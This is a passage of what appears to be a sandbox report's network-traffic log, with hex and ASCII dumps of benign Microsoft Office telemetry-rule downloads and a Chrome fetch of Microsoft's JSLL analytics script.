6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-20 23:03:44 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-20 23:03:44 UTC	4278	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:43 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:44 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:43 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230343Z-178bfbc474bpnd5vhC1NYC4vr400000000h000000000qg0n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:44 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:43 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:44 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: fce879e9-f01e-0052-0d66-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230344Z-178bfbc474bwh9gmhC1NYCy3rs00000000sg000000008wrh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:44 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49836	13.107.246.45	443	7704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:43 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 23:03:44 UTC	889	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:44 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241120T230344Z-178bfbc474bv7whqhC1NYC1fg400000000p000000000em55 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:44 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-20 23:03:44 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-20 23:03:44 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-20 23:03:44 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-20 23:03:44 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-20 23:03:44 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-20 23:03:44 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-20 23:03:45 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-20 23:03:45 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-20 23:03:45 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:45 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:45 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:45 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: e7fe902a-801e-0067-6164-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230345Z-178bfbc474bgvl54hC1NYCsfuw00000000r0000000000zy0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:45 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:45 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:45 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:45 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230345Z-r1d97b99577ckpmjhC1TEBrzs000000009e000000000trru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
